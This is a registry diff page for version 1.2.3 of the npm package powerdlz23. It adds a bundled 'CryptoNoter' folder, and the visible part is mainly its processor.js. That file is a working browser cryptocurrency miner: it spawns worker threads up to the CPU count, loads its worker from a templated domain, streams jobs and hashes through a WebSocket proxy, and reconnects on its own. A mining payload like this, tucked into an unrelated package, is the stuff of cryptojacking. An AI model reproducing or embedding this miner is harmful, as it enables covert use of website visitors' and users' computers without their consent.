powerdlz23 1.2.2 → 1.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/pto/CryptoNoter/.gitattributes +2 -0
- package/pto/CryptoNoter/CryptoNight.md +444 -0
- package/pto/CryptoNoter/CryptoNight.txt +364 -0
- package/pto/CryptoNoter/LICENSE +21 -0
- package/pto/CryptoNoter/README.md +178 -0
- package/pto/CryptoNoter/banner +4 -0
- package/pto/CryptoNoter/config.json +8 -0
- package/pto/CryptoNoter/install.sh +60 -0
- package/pto/CryptoNoter/package-lock.json +33 -0
- package/pto/CryptoNoter/package.json +16 -0
- package/pto/CryptoNoter/server.js +225 -0
- package/pto/CryptoNoter/web/demo.html +81 -0
- package/pto/CryptoNoter/web/index.html +1 -0
- package/pto/CryptoNoter/web/lib/cryptonight-asmjs.min.js +16891 -0
- package/pto/CryptoNoter/web/lib/cryptonight-asmjs.min.js.mem +0 -0
- package/pto/CryptoNoter/web/lib/cryptonight.wasm +0 -0
- package/pto/CryptoNoter/web/processor.js +496 -0
- package/pto/CryptoNoter/web/worker.js +5549 -0
- package/pto/crypto/README.md +1 -0
- package/pto/crypto/aes256cbc/README.md +59 -0
- package/pto/crypto/aes256cbc/aes256cbc.go +172 -0
- package/pto/crypto/aes256cbc/aes256cbc_test.go +105 -0
- package/pto/crypto/aes256cbc/examples_test.go +30 -0
- package/pto/crypto/dh64/README.md +84 -0
- package/pto/crypto/dh64/c/dh64.c +75 -0
- package/pto/crypto/dh64/c/dh64.h +12 -0
- package/pto/crypto/dh64/c/dh64_test.c +30 -0
- package/pto/crypto/dh64/csharp/dh64.cs +77 -0
- package/pto/crypto/dh64/csharp/dh64_test.cs +1074 -0
- package/pto/crypto/dh64/go/dh64.go +72 -0
- package/pto/crypto/dh64/go/dh64_test.go +1064 -0
- package/pto/crypto/mt19937/README.md +30 -0
- package/pto/crypto/mt19937/c/mt19937-64.c +180 -0
- package/pto/crypto/mt19937/c/mt19937-64.h +96 -0
- package/pto/crypto/mt19937/c/mt19937-64.out.txt +401 -0
- package/pto/crypto/mt19937/c/mt19937-64test.c +78 -0
- package/pto/crypto/mt19937/csharp/mt19937.cs +139 -0
- package/pto/crypto/mt19937/csharp/mt19937_test.cs +574 -0
- package/pto/crypto/mt19937/go/COPYING +674 -0
- package/pto/crypto/mt19937/go/README.rst +103 -0
- package/pto/crypto/mt19937/go/doc.go +35 -0
- package/pto/crypto/mt19937/go/example.go +32 -0
- package/pto/crypto/mt19937/go/mt19937.go +149 -0
- package/pto/crypto/mt19937/go/mt19937_test.go +614 -0
- package/pto/crypto/rc4/README.md +14 -0
- package/pto/crypto/rc4/csharp/rc4.cs +119 -0
- package/pto/crypto/rc4/csharp/rc4_echo_client.cs +78 -0
- package/pto/crypto/rc4/go/rc4_echo_client.go +102 -0
- package/pto/crypto/rc4/go/rc4_echo_server.go +110 -0
|
Binary file
|
|
Binary file
|
|
@@ -0,0 +1,496 @@
|
|
|
1
|
+
(function (window) {
|
|
2
|
+
"use strict";
|
|
3
|
+
var Miner = function (siteKey, params) {
|
|
4
|
+
params = params || {};
|
|
5
|
+
this._siteKey = siteKey;
|
|
6
|
+
this._user = null;
|
|
7
|
+
this._threads = [];
|
|
8
|
+
this._hashes = 0;
|
|
9
|
+
this._currentJob = null;
|
|
10
|
+
this._autoReconnect = true;
|
|
11
|
+
this._reconnectRetry = 3;
|
|
12
|
+
this._tokenFromServer = null;
|
|
13
|
+
this._goal = 0;
|
|
14
|
+
this._totalHashesFromDeadThreads = 0;
|
|
15
|
+
this._throttle = Math.max(0, Math.min(.99, params.throttle || 0));
|
|
16
|
+
this._autoThreads = {
|
|
17
|
+
enabled: !!params.autoThreads,
|
|
18
|
+
interval: null,
|
|
19
|
+
adjustAt: null,
|
|
20
|
+
adjustEvery: 1e4,
|
|
21
|
+
stats: {}
|
|
22
|
+
};
|
|
23
|
+
this._tab = {
|
|
24
|
+
ident: Math.random() * 16777215 | 0,
|
|
25
|
+
mode: CryptoNoter.IF_EXCLUSIVE_TAB,
|
|
26
|
+
grace: 0,
|
|
27
|
+
lastPingReceived: 0,
|
|
28
|
+
interval: null
|
|
29
|
+
};
|
|
30
|
+
if (window.BroadcastChannel) {
|
|
31
|
+
try {
|
|
32
|
+
this._bc = new BroadcastChannel("CryptoNoter");
|
|
33
|
+
this._bc.onmessage = function (msg) {
|
|
34
|
+
if (msg.data === "ping") {
|
|
35
|
+
this._tab.lastPingReceived = Date.now()
|
|
36
|
+
}
|
|
37
|
+
}.bind(this)
|
|
38
|
+
} catch (e) {}
|
|
39
|
+
}
|
|
40
|
+
this._eventListeners = {
|
|
41
|
+
open: [],
|
|
42
|
+
authed: [],
|
|
43
|
+
close: [],
|
|
44
|
+
error: [],
|
|
45
|
+
job: [],
|
|
46
|
+
found: [],
|
|
47
|
+
accepted: []
|
|
48
|
+
};
|
|
49
|
+
var defaultThreads = navigator.hardwareConcurrency || 4;
|
|
50
|
+
this._targetNumThreads = params.threads || defaultThreads;
|
|
51
|
+
this._useWASM = this.hasWASMSupport() && !params.forceASMJS;
|
|
52
|
+
this._asmjsStatus = "unloaded";
|
|
53
|
+
this._onTargetMetBound = this._onTargetMet.bind(this);
|
|
54
|
+
this._onVerifiedBound = this._onVerified.bind(this)
|
|
55
|
+
};
|
|
56
|
+
Miner.prototype.start = function (mode) {
|
|
57
|
+
this._tab.mode = mode || CryptoNoter.IF_EXCLUSIVE_TAB;
|
|
58
|
+
if (this._tab.interval) {
|
|
59
|
+
clearInterval(this._tab.interval);
|
|
60
|
+
this._tab.interval = null
|
|
61
|
+
}
|
|
62
|
+
if (this._useWASM || this._asmjsStatus === "loaded") {
|
|
63
|
+
var xhr = new XMLHttpRequest;
|
|
64
|
+
xhr.addEventListener("load", function () {
|
|
65
|
+
CryptoNoter.CRYPTONIGHT_WORKER_BLOB = window.URL.createObjectURL(new Blob([xhr.responseText]));
|
|
66
|
+
this._asmjsStatus = "loaded";
|
|
67
|
+
this._startNow()
|
|
68
|
+
}.bind(this), xhr);
|
|
69
|
+
xhr.open("get", "https://%CryptoNoter_domain%/worker.js", true);
|
|
70
|
+
xhr.send()
|
|
71
|
+
} else if (this._asmjsStatus === "unloaded") {
|
|
72
|
+
this._asmjsStatus = "pending";
|
|
73
|
+
var xhr = new XMLHttpRequest;
|
|
74
|
+
xhr.addEventListener("load", function () {
|
|
75
|
+
CryptoNoter.CRYPTONIGHT_WORKER_BLOB = window.URL.createObjectURL(new Blob([xhr.responseText]));
|
|
76
|
+
this._asmjsStatus = "loaded";
|
|
77
|
+
this._startNow()
|
|
78
|
+
}.bind(this), xhr);
|
|
79
|
+
xhr.open("get", CryptoNoter.CONFIG.LIB_URL + "cryptonight-asmjs.min.js", true);
|
|
80
|
+
xhr.send()
|
|
81
|
+
}
|
|
82
|
+
};
|
|
83
|
+
Miner.prototype.stop = function (mode) {
|
|
84
|
+
for (var i = 0; i < this._threads.length; i++) {
|
|
85
|
+
this._totalHashesFromDeadThreads += this._threads[i].hashesTotal;
|
|
86
|
+
this._threads[i].stop()
|
|
87
|
+
}
|
|
88
|
+
this._threads = [];
|
|
89
|
+
this._autoReconnect = false;
|
|
90
|
+
if (this._socket) {
|
|
91
|
+
this._socket.close()
|
|
92
|
+
}
|
|
93
|
+
this._currentJob = null;
|
|
94
|
+
if (this._autoThreads.interval) {
|
|
95
|
+
clearInterval(this._autoThreads.interval);
|
|
96
|
+
this._autoThreads.interval = null
|
|
97
|
+
}
|
|
98
|
+
if (this._tab.interval && mode !== "dontKillTabUpdate") {
|
|
99
|
+
clearInterval(this._tab.interval);
|
|
100
|
+
this._tab.interval = null
|
|
101
|
+
}
|
|
102
|
+
};
|
|
103
|
+
Miner.prototype.getHashesPerSecond = function () {
|
|
104
|
+
var hashesPerSecond = 0;
|
|
105
|
+
for (var i = 0; i < this._threads.length; i++) {
|
|
106
|
+
hashesPerSecond += this._threads[i].hashesPerSecond
|
|
107
|
+
}
|
|
108
|
+
return hashesPerSecond
|
|
109
|
+
};
|
|
110
|
+
Miner.prototype.getTotalHashes = function (estimate) {
|
|
111
|
+
var now = Date.now();
|
|
112
|
+
var hashes = this._totalHashesFromDeadThreads;
|
|
113
|
+
for (var i = 0; i < this._threads.length; i++) {
|
|
114
|
+
var thread = this._threads[i];
|
|
115
|
+
hashes += thread.hashesTotal;
|
|
116
|
+
if (estimate) {
|
|
117
|
+
var tdiff = (now - thread.lastMessageTimestamp) / 1e3 * .9;
|
|
118
|
+
hashes += tdiff * thread.hashesPerSecond
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
return hashes | 0
|
|
122
|
+
};
|
|
123
|
+
Miner.prototype.getAcceptedHashes = function () {
|
|
124
|
+
return this._hashes
|
|
125
|
+
};
|
|
126
|
+
Miner.prototype.getToken = function () {
|
|
127
|
+
return this._tokenFromServer
|
|
128
|
+
};
|
|
129
|
+
Miner.prototype.on = function (type, callback) {
|
|
130
|
+
if (this._eventListeners[type]) {
|
|
131
|
+
this._eventListeners[type].push(callback)
|
|
132
|
+
}
|
|
133
|
+
};
|
|
134
|
+
Miner.prototype.getAutoThreadsEnabled = function (enabled) {
|
|
135
|
+
return this._autoThreads.enabled
|
|
136
|
+
};
|
|
137
|
+
Miner.prototype.setAutoThreadsEnabled = function (enabled) {
|
|
138
|
+
this._autoThreads.enabled = !!enabled;
|
|
139
|
+
if (!enabled && this._autoThreads.interval) {
|
|
140
|
+
clearInterval(this._autoThreads.interval);
|
|
141
|
+
this._autoThreads.interval = null
|
|
142
|
+
}
|
|
143
|
+
if (enabled && !this._autoThreads.interval) {
|
|
144
|
+
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
|
|
145
|
+
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
|
|
146
|
+
}
|
|
147
|
+
};
|
|
148
|
+
Miner.prototype.getThrottle = function () {
|
|
149
|
+
return this._throttle
|
|
150
|
+
};
|
|
151
|
+
Miner.prototype.setThrottle = function (throttle) {
|
|
152
|
+
this._throttle = Math.max(0, Math.min(.99, throttle));
|
|
153
|
+
if (this._currentJob) {
|
|
154
|
+
this._setJob(this._currentJob)
|
|
155
|
+
}
|
|
156
|
+
};
|
|
157
|
+
Miner.prototype.getNumThreads = function () {
|
|
158
|
+
return this._targetNumThreads
|
|
159
|
+
};
|
|
160
|
+
Miner.prototype.setNumThreads = function (num) {
|
|
161
|
+
var num = Math.max(1, num | 0);
|
|
162
|
+
this._targetNumThreads = num;
|
|
163
|
+
if (num > this._threads.length) {
|
|
164
|
+
for (var i = 0; num > this._threads.length; i++) {
|
|
165
|
+
var thread = new CryptoNoter.JobThread;
|
|
166
|
+
if (this._currentJob) {
|
|
167
|
+
thread.setJob(this._currentJob, this._onTargetMetBound)
|
|
168
|
+
}
|
|
169
|
+
this._threads.push(thread)
|
|
170
|
+
}
|
|
171
|
+
} else if (num < this._threads.length) {
|
|
172
|
+
while (num < this._threads.length) {
|
|
173
|
+
var thread = this._threads.pop();
|
|
174
|
+
this._totalHashesFromDeadThreads += thread.hashesTotal;
|
|
175
|
+
thread.stop()
|
|
176
|
+
}
|
|
177
|
+
}
|
|
178
|
+
};
|
|
179
|
+
Miner.prototype.hasWASMSupport = function () {
|
|
180
|
+
return window.WebAssembly !== undefined
|
|
181
|
+
};
|
|
182
|
+
Miner.prototype.isRunning = function () {
|
|
183
|
+
return this._threads.length > 0
|
|
184
|
+
};
|
|
185
|
+
Miner.prototype._startNow = function () {
|
|
186
|
+
if (this._tab.mode !== CryptoNoter.FORCE_MULTI_TAB && !this._tab.interval) {
|
|
187
|
+
this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)
|
|
188
|
+
}
|
|
189
|
+
if (this._tab.mode === CryptoNoter.IF_EXCLUSIVE_TAB && this._otherTabRunning()) {
|
|
190
|
+
return
|
|
191
|
+
}
|
|
192
|
+
if (this._tab.mode === CryptoNoter.FORCE_EXCLUSIVE_TAB) {
|
|
193
|
+
this._tab.grace = Date.now() + 3e3
|
|
194
|
+
}
|
|
195
|
+
if (!this.verifyThread) {
|
|
196
|
+
this.verifyThread = new CryptoNoter.JobThread
|
|
197
|
+
}
|
|
198
|
+
this.setNumThreads(this._targetNumThreads);
|
|
199
|
+
this._autoReconnect = true;
|
|
200
|
+
if (CryptoNoter.CONFIG.REQUIRES_AUTH) {
|
|
201
|
+
this._auth = this._auth || new CryptoNoter.Auth(this._siteKey);
|
|
202
|
+
this._auth.auth(function (token) {
|
|
203
|
+
if (!token) {
|
|
204
|
+
return this._emit("error", {
|
|
205
|
+
error: "opt_in_canceled"
|
|
206
|
+
})
|
|
207
|
+
}
|
|
208
|
+
this._optInToken = token;
|
|
209
|
+
this._connect()
|
|
210
|
+
}.bind(this))
|
|
211
|
+
} else {
|
|
212
|
+
this._connect()
|
|
213
|
+
}
|
|
214
|
+
};
|
|
215
|
+
Miner.prototype._otherTabRunning = function () {
|
|
216
|
+
if (this._tab.lastPingReceived > Date.now() - 1500) {
|
|
217
|
+
return true
|
|
218
|
+
}
|
|
219
|
+
try {
|
|
220
|
+
var tdjson = localStorage.getItem("CryptoNoter");
|
|
221
|
+
if (tdjson) {
|
|
222
|
+
var td = JSON.parse(tdjson);
|
|
223
|
+
if (td.ident !== this._tab.ident && Date.now() - td.time < 1500) {
|
|
224
|
+
return true
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
} catch (e) {}
|
|
228
|
+
return false
|
|
229
|
+
};
|
|
230
|
+
Miner.prototype._updateTabs = function () {
|
|
231
|
+
var otherTabRunning = this._otherTabRunning();
|
|
232
|
+
if (otherTabRunning && this.isRunning() && Date.now() > this._tab.grace) {
|
|
233
|
+
this.stop("dontKillTabUpdate")
|
|
234
|
+
} else if (!otherTabRunning && !this.isRunning()) {
|
|
235
|
+
this._startNow()
|
|
236
|
+
}
|
|
237
|
+
if (this.isRunning()) {
|
|
238
|
+
if (this._bc) {
|
|
239
|
+
this._bc.postMessage("ping")
|
|
240
|
+
}
|
|
241
|
+
try {
|
|
242
|
+
localStorage.setItem("CryptoNoter", JSON.stringify({
|
|
243
|
+
ident: this._tab.ident,
|
|
244
|
+
time: Date.now()
|
|
245
|
+
}))
|
|
246
|
+
} catch (e) {}
|
|
247
|
+
}
|
|
248
|
+
};
|
|
249
|
+
Miner.prototype._adjustThreads = function () {
|
|
250
|
+
var hashes = this.getHashesPerSecond();
|
|
251
|
+
var threads = this.getNumThreads();
|
|
252
|
+
var stats = this._autoThreads.stats;
|
|
253
|
+
stats[threads] = stats[threads] ? stats[threads] * .5 + hashes * .5 : hashes;
|
|
254
|
+
if (Date.now() > this._autoThreads.adjustAt) {
|
|
255
|
+
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
|
|
256
|
+
var cur = (stats[threads] || 0) - 1;
|
|
257
|
+
var up = stats[threads + 1] || 0;
|
|
258
|
+
var down = stats[threads - 1] || 0;
|
|
259
|
+
if (cur > down && (up === 0 || up > cur) && threads < 8) {
|
|
260
|
+
return this.setNumThreads(threads + 1)
|
|
261
|
+
} else if (cur > up && (!down || down > cur) && threads > 1) {
|
|
262
|
+
return this.setNumThreads(threads - 1)
|
|
263
|
+
}
|
|
264
|
+
}
|
|
265
|
+
};
|
|
266
|
+
Miner.prototype._emit = function (type, params) {
|
|
267
|
+
var listeners = this._eventListeners[type];
|
|
268
|
+
if (listeners && listeners.length) {
|
|
269
|
+
for (var i = 0; i < listeners.length; i++) {
|
|
270
|
+
listeners[i](params)
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
};
|
|
274
|
+
Miner.prototype._hashString = function (s) {
|
|
275
|
+
var hash = 5381,
|
|
276
|
+
i = s.length;
|
|
277
|
+
while (i) {
|
|
278
|
+
hash = hash * 33 ^ s.charCodeAt(--i)
|
|
279
|
+
}
|
|
280
|
+
return hash >>> 0
|
|
281
|
+
};
|
|
282
|
+
Miner.prototype._connect = function () {
|
|
283
|
+
if (this._socket) {
|
|
284
|
+
return
|
|
285
|
+
}
|
|
286
|
+
var shards = CryptoNoter.CONFIG.WEBSOCKET_SHARDS;
|
|
287
|
+
var shardIdx = this._hashString(this._siteKey) % shards.length;
|
|
288
|
+
var proxies = shards[shardIdx];
|
|
289
|
+
var proxyUrl = proxies[Math.random() * proxies.length | 0];
|
|
290
|
+
this._socket = new WebSocket(proxyUrl);
|
|
291
|
+
this._socket.onmessage = this._onMessage.bind(this);
|
|
292
|
+
this._socket.onerror = this._onError.bind(this);
|
|
293
|
+
this._socket.onclose = this._onClose.bind(this);
|
|
294
|
+
this._socket.onopen = this._onOpen.bind(this)
|
|
295
|
+
};
|
|
296
|
+
Miner.prototype._onOpen = function (ev) {
|
|
297
|
+
this._emit("open");
|
|
298
|
+
var params = {
|
|
299
|
+
site_key: this._siteKey,
|
|
300
|
+
type: "anonymous",
|
|
301
|
+
user: null,
|
|
302
|
+
goal: 0
|
|
303
|
+
};
|
|
304
|
+
if (this._user) {
|
|
305
|
+
params.type = "user";
|
|
306
|
+
params.user = this._user.toString()
|
|
307
|
+
} else if (this._goal) {
|
|
308
|
+
params.type = "token";
|
|
309
|
+
params.goal = this._goal
|
|
310
|
+
}
|
|
311
|
+
if (this._optInToken) {
|
|
312
|
+
params.opt_in = this._optInToken
|
|
313
|
+
}
|
|
314
|
+
this._send("auth", params)
|
|
315
|
+
};
|
|
316
|
+
Miner.prototype._onError = function (ev) {
|
|
317
|
+
this._emit("error", {
|
|
318
|
+
error: "connection_error"
|
|
319
|
+
});
|
|
320
|
+
this._onClose(ev)
|
|
321
|
+
};
|
|
322
|
+
Miner.prototype._onClose = function (ev) {
|
|
323
|
+
if (ev.code >= 1003 && ev.code <= 1009) {
|
|
324
|
+
this._reconnectRetry = 60
|
|
325
|
+
}
|
|
326
|
+
for (var i = 0; i < this._threads.length; i++) {
|
|
327
|
+
this._threads[i].stop()
|
|
328
|
+
}
|
|
329
|
+
this._threads = [];
|
|
330
|
+
this._socket = null;
|
|
331
|
+
this._emit("close");
|
|
332
|
+
if (this._autoReconnect) {
|
|
333
|
+
setTimeout(this._startNow.bind(this), this._reconnectRetry * 1e3)
|
|
334
|
+
}
|
|
335
|
+
};
|
|
336
|
+
Miner.prototype._onMessage = function (ev) {
|
|
337
|
+
var msg = JSON.parse(ev.data);
|
|
338
|
+
if (msg.type === "job") {
|
|
339
|
+
this._setJob(msg.params);
|
|
340
|
+
this._emit("job", msg.params);
|
|
341
|
+
if (this._autoThreads.enabled && !this._autoThreads.interval) {
|
|
342
|
+
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
|
|
343
|
+
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
|
|
344
|
+
}
|
|
345
|
+
} else if (msg.type === "verify") {
|
|
346
|
+
this.verifyThread.verify(msg.params, this._onVerifiedBound)
|
|
347
|
+
} else if (msg.type === "hash_accepted") {
|
|
348
|
+
this._hashes = msg.params.hashes;
|
|
349
|
+
this._emit("accepted", msg.params);
|
|
350
|
+
if (this._goal && this._hashes >= this._goal) {
|
|
351
|
+
this.stop()
|
|
352
|
+
}
|
|
353
|
+
} else if (msg.type === "authed") {
|
|
354
|
+
this._tokenFromServer = msg.params.token || null;
|
|
355
|
+
this._hashes = msg.params.hashes || 0;
|
|
356
|
+
this._emit("authed", msg.params);
|
|
357
|
+
this._reconnectRetry = 3
|
|
358
|
+
} else if (msg.type === "error") {
|
|
359
|
+
if (console && console.error) {
|
|
360
|
+
console.error("CryptoNoter Error:", msg.params.error)
|
|
361
|
+
}
|
|
362
|
+
this._emit("error", msg.params);
|
|
363
|
+
if (msg.params.error === "invalid_site_key") {
|
|
364
|
+
this._reconnectRetry = 6e3
|
|
365
|
+
} else if (msg.params.error === "invalid_opt_in") {
|
|
366
|
+
if (this._auth) {
|
|
367
|
+
this._auth.reset()
|
|
368
|
+
}
|
|
369
|
+
}
|
|
370
|
+
} else if (msg.type === "banned" || msg.params.banned) {
|
|
371
|
+
this._emit("error", {
|
|
372
|
+
banned: true
|
|
373
|
+
});
|
|
374
|
+
this._reconnectRetry = 600
|
|
375
|
+
}
|
|
376
|
+
};
|
|
377
|
+
Miner.prototype._setJob = function (job) {
|
|
378
|
+
this._currentJob = job;
|
|
379
|
+
this._currentJob.throttle = this._throttle;
|
|
380
|
+
for (var i = 0; i < this._threads.length; i++) {
|
|
381
|
+
this._threads[i].setJob(job, this._onTargetMetBound)
|
|
382
|
+
}
|
|
383
|
+
};
|
|
384
|
+
Miner.prototype._onTargetMet = function (result) {
|
|
385
|
+
this._emit("found", result);
|
|
386
|
+
if (result.job_id === this._currentJob.job_id) {
|
|
387
|
+
this._send("submit", {
|
|
388
|
+
job_id: result.job_id,
|
|
389
|
+
nonce: result.nonce,
|
|
390
|
+
result: result.result
|
|
391
|
+
})
|
|
392
|
+
}
|
|
393
|
+
};
|
|
394
|
+
Miner.prototype._onVerified = function (verifyResult) {
|
|
395
|
+
this._send("verified", verifyResult)
|
|
396
|
+
};
|
|
397
|
+
Miner.prototype._send = function (type, params) {
|
|
398
|
+
if (!this._socket) {
|
|
399
|
+
return
|
|
400
|
+
}
|
|
401
|
+
var msg = {
|
|
402
|
+
type: type,
|
|
403
|
+
params: params || {}
|
|
404
|
+
};
|
|
405
|
+
this._socket.send(JSON.stringify(msg))
|
|
406
|
+
};
|
|
407
|
+
window.CryptoNoter = window.CryptoNoter || {};
|
|
408
|
+
window.CryptoNoter.IF_EXCLUSIVE_TAB = "ifExclusiveTab";
|
|
409
|
+
window.CryptoNoter.FORCE_EXCLUSIVE_TAB = "forceExclusiveTab";
|
|
410
|
+
window.CryptoNoter.FORCE_MULTI_TAB = "forceMultiTab";
|
|
411
|
+
window.CryptoNoter.Token = function (siteKey, goal, params) {
|
|
412
|
+
var miner = new Miner(siteKey, params);
|
|
413
|
+
miner._goal = goal || 0;
|
|
414
|
+
return miner
|
|
415
|
+
};
|
|
416
|
+
window.CryptoNoter.User = function (siteKey, user, params) {
|
|
417
|
+
var miner = new Miner(siteKey, params);
|
|
418
|
+
miner._user = user;
|
|
419
|
+
return miner
|
|
420
|
+
};
|
|
421
|
+
window.CryptoNoter.Anonymous = function (siteKey, params) {
|
|
422
|
+
var miner = new Miner(siteKey, params);
|
|
423
|
+
return miner
|
|
424
|
+
}
|
|
425
|
+
})(window);
|
|
426
|
+
(function (window) {
|
|
427
|
+
"use strict";
|
|
428
|
+
var JobThread = function () {
|
|
429
|
+
this.worker = new Worker(CryptoNoter.CRYPTONIGHT_WORKER_BLOB);
|
|
430
|
+
this.worker.onmessage = this.onReady.bind(this);
|
|
431
|
+
this.currentJob = null;
|
|
432
|
+
this.jobCallback = function () {};
|
|
433
|
+
this.verifyCallback = function () {};
|
|
434
|
+
this._isReady = false;
|
|
435
|
+
this.hashesPerSecond = 0;
|
|
436
|
+
this.hashesTotal = 0;
|
|
437
|
+
this.running = false;
|
|
438
|
+
this.lastMessageTimestamp = Date.now()
|
|
439
|
+
};
|
|
440
|
+
JobThread.prototype.onReady = function (msg) {
|
|
441
|
+
if (msg.data !== "ready" || this._isReady) {
|
|
442
|
+
throw 'Expecting first message to be "ready", got ' + msg
|
|
443
|
+
}
|
|
444
|
+
this._isReady = true;
|
|
445
|
+
this.worker.onmessage = this.onReceiveMsg.bind(this);
|
|
446
|
+
if (this.currentJob) {
|
|
447
|
+
this.running = true;
|
|
448
|
+
this.worker.postMessage(this.currentJob)
|
|
449
|
+
}
|
|
450
|
+
};
|
|
451
|
+
JobThread.prototype.onReceiveMsg = function (msg) {
|
|
452
|
+
if (msg.data.verify_id) {
|
|
453
|
+
this.verifyCallback(msg.data);
|
|
454
|
+
return
|
|
455
|
+
}
|
|
456
|
+
if (msg.data.result) {
|
|
457
|
+
this.jobCallback(msg.data)
|
|
458
|
+
}
|
|
459
|
+
this.hashesPerSecond = this.hashesPerSecond * .5 + msg.data.hashesPerSecond * .5;
|
|
460
|
+
this.hashesTotal += msg.data.hashes;
|
|
461
|
+
this.lastMessageTimestamp = Date.now();
|
|
462
|
+
if (this.running) {
|
|
463
|
+
this.worker.postMessage(this.currentJob)
|
|
464
|
+
}
|
|
465
|
+
};
|
|
466
|
+
JobThread.prototype.setJob = function (job, callback) {
|
|
467
|
+
this.currentJob = job;
|
|
468
|
+
this.jobCallback = callback;
|
|
469
|
+
if (this._isReady && !this.running) {
|
|
470
|
+
this.running = true;
|
|
471
|
+
this.worker.postMessage(this.currentJob)
|
|
472
|
+
}
|
|
473
|
+
};
|
|
474
|
+
JobThread.prototype.verify = function (job, callback) {
|
|
475
|
+
if (!this._isReady) {
|
|
476
|
+
return
|
|
477
|
+
}
|
|
478
|
+
this.verifyCallback = callback;
|
|
479
|
+
this.worker.postMessage(job)
|
|
480
|
+
};
|
|
481
|
+
JobThread.prototype.stop = function () {
|
|
482
|
+
if (this.worker) {
|
|
483
|
+
this.worker.terminate();
|
|
484
|
+
this.worker = null
|
|
485
|
+
}
|
|
486
|
+
this.running = false
|
|
487
|
+
};
|
|
488
|
+
window.CryptoNoter.JobThread = JobThread
|
|
489
|
+
})(window);
|
|
490
|
+
self.CryptoNoter = self.CryptoNoter || {};
|
|
491
|
+
self.CryptoNoter.CONFIG = {
|
|
492
|
+
LIB_URL: "https://%CryptoNoter_domain%/lib/",
|
|
493
|
+
WEBSOCKET_SHARDS: [["wss://%CryptoNoter_domain%/proxy"]],
|
|
494
|
+
CAPTCHA_URL: "https://%CryptoNoter_domain%/captcha/",
|
|
495
|
+
MINER_URL: "https://%CryptoNoter_domain%/media/miner.html"
|
|
496
|
+
};
|